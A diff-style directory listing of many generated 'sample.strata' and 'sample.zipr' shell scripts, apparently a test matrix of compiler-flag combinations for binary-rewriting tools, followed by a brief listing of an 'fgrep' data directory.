+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.strata.no_startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3720 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3752 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3704 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3688 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3724 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.zipr.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3752 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3704 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3750 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3754 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3694 Oct 14 15:33 sample.strata.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3690 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3688 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3690 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3714 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3704 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3718 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3770 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3734 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3696 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3744 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3762 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3768 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3728 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3750 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3766 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3756 Oct 14 15:33 sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3758 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3736 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3726 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3702 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3692 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3740 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3764 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3704 Oct 14 15:33 sample.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3746 Oct 14 15:33 sample.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.strata.no_startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3708 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3732 Oct 14 15:33 sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3690 Oct 14 15:33 sample.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3730 Oct 14 15:33 sample.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3690 Oct 14 15:33 sample.zipr.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3738 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3700 Oct 14 15:33 sample.zipr.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3714 Oct 14 15:33 sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3714 Oct 14 15:33 sample.zipr.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3706 Oct 14 15:33 sample.strata.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3760 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3722 Oct 14 15:33 sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3698 Oct 14 15:33 sample.zipr.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3716 Oct 14 15:33 sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+
+../../fgrep:
+total 12
+drwxrwxr-x 2 ubuntu ubuntu 4096 Apr 23  2015 data
